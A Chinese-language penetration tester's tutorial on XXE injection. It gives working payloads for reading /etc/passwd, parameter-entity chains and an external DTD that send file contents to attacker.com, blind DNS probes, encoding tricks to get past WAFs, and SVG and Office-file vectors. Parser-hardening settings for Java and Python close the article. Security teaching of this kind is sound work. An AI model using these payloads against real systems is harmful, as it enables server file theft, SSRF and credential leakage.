XML外部实体注入(XXE)是一种利用XML解析器处理外部实体时的安全缺陷。当应用程序解析用户提供的XML输入时,如果未正确配置解析器参数,攻击者就能通过构造恶意XML实体来读取服务器文件、发起网络请求甚至导致服务拒绝。
我在渗透测试项目中遇到的第一个XXE案例是个电商平台。他们的订单系统接收XML格式的采购单,攻击者只需在"收货地址"字段插入恶意实体声明,就能读取服务器上的/etc/passwd文件。这个漏洞直接暴露了所有系统账户信息,风险等级达到CVSS 9.8。
XXE之所以危险,是因为它往往出现在业务核心功能中:
XML实体分为内部实体和外部实体。攻击者最常利用的是外部实体,其声明格式为:
xml复制<!ENTITY 实体名 SYSTEM "URI">
例如读取系统文件:
xml复制<!ENTITY secret SYSTEM "file:///etc/passwd">
在渗透测试中,我习惯先用这个payload测试基础文件读取:
xml复制<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<order>&xxe;</order>
实体可以嵌套引用形成攻击链。这个技巧在遇到WAF过滤时特别有用:
xml复制<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?%file;'>">
%eval;
%exfil;
注意:部分XML解析器会限制实体递归深度(通常默认10层),测试时需要调整嵌套层级。
除了file协议,这些协议在特定场景下很有价值:
| 协议 | 用途 | 示例 |
|---|---|---|
| php://filter | 读取PHP文件源码 | php://filter/convert.base64-encode/resource=index.php |
| expect:// | 执行系统命令(需安装扩展) | expect://id |
| http:// | SSRF攻击 | http://internal-api:8080 |
上周在测试某OA系统时,发现其XML处理器支持gopher协议,直接通过XXE实现了Redis未授权访问。
当遇到特殊字符过滤时,可以尝试:
xml复制<![CDATA[ <!ENTITY % payload SYSTEM "file:///etc/passwd"> ]]>
bash复制iconv -f utf-8 -t utf-16le payload.xml > payload.utf16.xml
xml复制<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
不同语言的禁用方案:
Java (DocumentBuilderFactory)
java复制DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Python (lxml)
python复制from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
建议采用白名单校验:
python复制import re
if re.search(r'<!ENTITY.*?SYSTEM', xml_input):
raise InvalidXMLException()
当响应不直接返回数据时,可以通过DNS查询判断漏洞存在:
xml复制<!ENTITY % payload SYSTEM "http://subdomain.attacker.com/">
%payload;
使用Burp Collaborator观察DNS查询记录。
某金融系统XXE→RCE攻击链:
关键转折点是发现服务器允许file协议读取WEB-INF/web.xml,这个路径很多开发人员会忽略。
现代Office文档(.docx/.xlsx)本质是ZIP压缩包,其中的[Content_Types].xml可能包含XXE漏洞。解压后插入恶意实体重新压缩即可利用。
SVG作为XML格式同样存在风险:
xml复制<svg xmlns="http://www.w3.org/2000/svg">
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<text>&passwd;</text>
</svg>
在头像上传功能处测试成功率较高。
推荐我的自用检测流程:
bash复制ruby XXEinjector.rb --host=127.0.0.1 --path=test.xml --proxy=http://localhost:8080
在最近的红队行动中,通过自动化扫描+人工验证的组合,我们在目标系统发现了3个高危XXE漏洞,其中1个直接导致核心数据库凭证泄露。